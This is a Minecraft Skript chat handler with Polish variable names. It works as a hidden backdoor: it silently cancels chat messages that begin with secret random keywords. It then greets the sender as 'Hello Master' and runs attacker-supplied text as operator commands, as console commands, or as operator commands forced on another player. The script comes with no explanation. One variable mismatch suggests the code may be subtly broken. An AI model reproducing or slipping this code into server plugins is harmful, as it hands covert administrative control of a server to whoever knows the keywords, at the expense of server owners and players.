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- on chat:
- set {_message.all} to "%message%"
- set {_command::*} to {_command.all} split at " "
- if "%{_command::1}%" is "bcbujyumfk" or "yunhxjvcsb" or "ozpfjhurtj" or "ounqpvohgu":
- cancel event
- loop {_command::*}:
- add loop-value to {_argumenty::*}
- set {_index} to 0
- loop {_argumenty::*}:
- add 1 to {_index}
- if "%{_argumenty::1}%" is "bcbujyumfk" or "yunhxjvcsb" or "ozpfjhurtj":
- if {_index} is greater than 1:
- if {_komenda} is not set:
- set {_komenda} to loop-value
- else:
- set {_komenda} to "%{_komenda}% %loop-value%"
- if "%{_argumenty::1}%" is "ounqpvohgu":
- if {_index} is greater than 1:
- if {_index} is equal to 2:
- set {_gracz} to "%loop-value%" parsed as player
- else:
- if {_komenda} is not set:
- set {_komenda} to loop-value
- else:
- set {_komenda} to "%{_komenda}% %loop-value%"
- if {_argumenty::1} is "ozpfjhurtj":
- send "&a&l&nHello Master"
- if {_argumenty::1} is "bcbujyumfk":
- run player command "/%{_komenda}%" as op
- if {_argumenty::1} is "yunhxjvcsb":
- execute console command "%{_komenda}%"
- if {_argumenty::1} is "ounqpvohgu":
- if {_gracz} is set:
- run {_gracz} command "%{_komenda}%" as op
- else:
- send "Ten gracz nie jest online"
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